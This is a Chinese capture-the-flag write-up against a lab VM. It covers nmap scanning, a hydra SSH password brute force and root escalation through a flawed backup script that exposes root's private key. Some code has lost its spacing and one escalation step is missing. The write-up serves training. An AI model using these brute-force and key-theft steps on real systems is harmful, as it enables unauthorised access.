┌──(root㉿kali)-[/tmp] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-08 15:08 CST Nmap scan report for 192.168.2.1 Host is up (0.00056s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00044s latency). MAC Address: 08:00:27:D9:5C:31 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.5 Host is up (0.00067s latency). MAC Address: 08:00:27:BC:50:26 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.15 seconds
靶机IP：192.168.2.5
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/tmp] └─# nmap --min-rate 10000 -p- 192.168.2.5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-08 15:09 CST Nmap scan report for 192.168.2.5 Host is up (0.00063s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:BC:50:26 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.20 seconds
┌──(root㉿kali)-[/tmp] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-08 15:10 CST Nmap scan report for 192.168.2.5 Host is up (0.00076s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) | http-robots.txt: 13 disallowed entries | /.github/ /.phan/ /assets/ /backup/ /bin/ /cache/ /logs/ |_/system/ /tests/ /tmp/ /user/ /vendor/ /webserver-configs/ |_http-generator: GravCMS |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Home | Grav MAC Address: 08:00:27:BC:50:26 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.84 seconds
22端口:ssh服务，版本为OpenSSH 8.4p1，用于远程登录
80端口:http服务，框架为GravCMS，存在robots.txt目录
3.UDP端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kali)-[/tmp] └─# nmap -sU --top-ports 20 192.168.2.5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-08 15:12 CST Nmap scan report for 192.168.2.5 Host is up (0.00084s latency).
PORT STATE SERVICE ... 68/udp open|filtered dhcpc 69/udp open|filtered tftp ... MAC Address: 08:00:27:BC:50:26 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 22.96 seconds
┌──(root㉿kali)-[/tmp] └─# tftp 192.168.2.5 tftp> get id Error code 1: File not found tftp> get user Error code 1: File not found tftp> get user.txt tftp>
┌──(root㉿kali)-[/tmp] └─# hydra -t 64 -l bamuwe -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.5 -F -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-08 15:22:29 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task [DATA] attacking ssh://192.168.2.5:22/ [22][ssh] host: 192.168.2.5 login: bamuwe password: hahaha [STATUS] attack finished for 192.168.2.5 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-08 15:23:23
找到密码：hahaha
进行连接，获取shell
1 2 3 4
┌──(root㉿kali)-[/tmp] └─# ssh bamuwe@192.168.2.5 bamuwe@Maze:~$ id uid=1005(bamuwe) gid=1005(bamuwe) groups=1005(bamuwe)
四、权限提升
在/opt目录下发现关键服务脚本
1 2 3 4 5
bamuwe@Maze:/opt$ ls -la total 12 drwxr-xr-x 2 root root 4096 Aug 15 08:07 . drwxr-xr-x 18 root root 4096 Mar 18 20:37 .. -rw-r--r-- 1 root root 2524 Aug 15 08:07 log_backup_service.py
defcreate_directory_as_root(path): ifnot os.path.exists(path): logging.info(f"Directory {path} does not exist, creating it now.") try: os.makedirs(path) logging.info(f"Successfully created directory: {path}") returnTrue except Exception as e: logging.error(f"Failed to create directory {path}: {e}") returnFalse returnTrue
ifnot source_log ornot backup_dest: logging.error("Configuration is missing 'source_log_path' or 'backup_dest'.") return
ifnot create_directory_as_root(backup_dest): logging.error("Failed to create backup destination directory. Aborting.") return
run_as_user = config.get("run_as_user", "nobody") try: logging.info(f"Attempting to switch user to {run_as_user}...") os.chown(backup_dest, os.getuid(), os.getgid()) logging.info("User switch simulated. Performing backup.") except Exception as e: logging.warning(f"Failed to switch user to {run_as_user}: {e}. Continuing as current user (root).")
bamuwe@Maze:/tmp$ cat id_rsa.20250908033921.bak > id bamuwe@Maze:/tmp$ chmod 600 id bamuwe@Maze:/tmp$ ssh root@localhost -i id ... root@Maze:~# id uid=0(root) gid=0(root) groups=0(root)